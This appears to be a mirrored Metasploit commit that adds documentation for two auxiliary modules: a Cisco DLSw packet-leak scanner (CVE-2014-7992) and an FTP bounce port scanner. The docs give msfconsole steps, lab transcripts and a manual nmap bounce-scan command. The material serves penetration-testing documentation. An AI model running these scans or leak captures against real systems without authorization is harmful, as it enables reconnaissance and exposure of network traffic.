mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #12622, add aux docs for dlsw_leak_capture and ftpbounce
This commit is contained in:
commit
ea1c1aa745
@ -0,0 +1,26 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/dlsw/dlsw_leak_capture`
|
||||
3. Do: `set RHOSTS [ip]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### IOS version 12.4(8) and Kali Linux 2019.3
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
|
||||
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
|
||||
RHOSTS => 192.168.0.1
|
||||
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
|
||||
[*] 192.168.0.1:2067 - Checking for DLSw information disclosure (CVE-2014-7992)
|
||||
[+] 192.168.0.1:2067 - Vulnerable to DLSw information disclosure; leaked 72 bytes
|
||||
[*] 192.168.0.1:2067 - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
|
||||
[*] 192.168.0.1:2067 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Enumerate TCP services via the FTP bounce PORT/LIST method
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use modules/auxiliary/scanner/portscan/ftpbounce`
|
||||
3. Do: `set BOUNCEHOST [ip]`
|
||||
4. Do: `set PORTS [number(s)]`
|
||||
5. Do: `set RHOSTS [ip]`
|
||||
6. Do: `set FTPUSER [user]`
|
||||
7. Do: `set FTPPASS [password]`
|
||||
8. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Docker Usage: `docker run -e "ADDED_FLAGS=-w -W -d -d" -e FTP_USER_NAME=bob -e FTP_USER_PASS=12345 -e FTP_USER_HOME=/home/bob stilliard/pure-ftpd`
|
||||
|
||||
### PureFTPd and Kali Linux 2019.3
|
||||
|
||||
```
|
||||
msf > use modules/auxiliary/scanner/portscan/ftpbounce
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set BOUNCEHOST 172.17.0.2
|
||||
BOUNCEHOST => 172.17.0.2
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set PORTS 8080
|
||||
BOUNCEPORT => 8080
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set RHOSTS 172.17.0.4
|
||||
RHOSTS => 172.17.0.4
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set FTPUSER bob
|
||||
FTPUSER => bob
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > set FTPPASS 12345
|
||||
FTPPASS => 12345
|
||||
msf auxiliary(scanner/portscan/ftpbounce) > run
|
||||
|
||||
[+] 172.17.0.2:21 - TCP OPEN 172.17.0.4:8080
|
||||
[*] 172.17.0.2:21 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Manual Exploitation
|
||||
|
||||
```
|
||||
root@ubuntu:~# nmap -p 8080 -v -b bob:12345@172.17.0.2 172.17.0.4 -Pn
|
||||
|
||||
Starting Nmap 7.60 ( https://nmap.org ) at 2019-11-25 20:34 UTC
|
||||
Resolved FTP bounce attack proxy to 172.17.0.2 (172.17.0.2).
|
||||
Initiating Parallel DNS resolution of 1 host. at 20:34
|
||||
Completed Parallel DNS resolution of 1 host. at 20:34, 0.00s elapsed
|
||||
Attempting connection to ftp://bob:12345@172.17.0.2:21
|
||||
Connected:220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
|
||||
220-You are user number 1 of 5 allowed.
|
||||
220-Local time is now 20:34. Server port: 21.
|
||||
220-This is a private system - No anonymous login
|
||||
220-This server supports FXP transfers
|
||||
220-IPv6 connections are also welcome on this server.
|
||||
220 You will be disconnected after 15 minutes of inactivity.
|
||||
Login credentials accepted by FTP server!
|
||||
Initiating Bounce Scan at 20:34
|
||||
Discovered open port 8080/tcp on 172.17.0.4
|
||||
Completed Bounce Scan at 20:34, 0.00s elapsed (1 total ports)
|
||||
Nmap scan report for 172.17.0.4
|
||||
Host is up.
|
||||
|
||||
PORT STATE SERVICE
|
||||
8080/tcp open http-proxy
|
||||
```
|
Loading…
Reference in New Issue
Block a user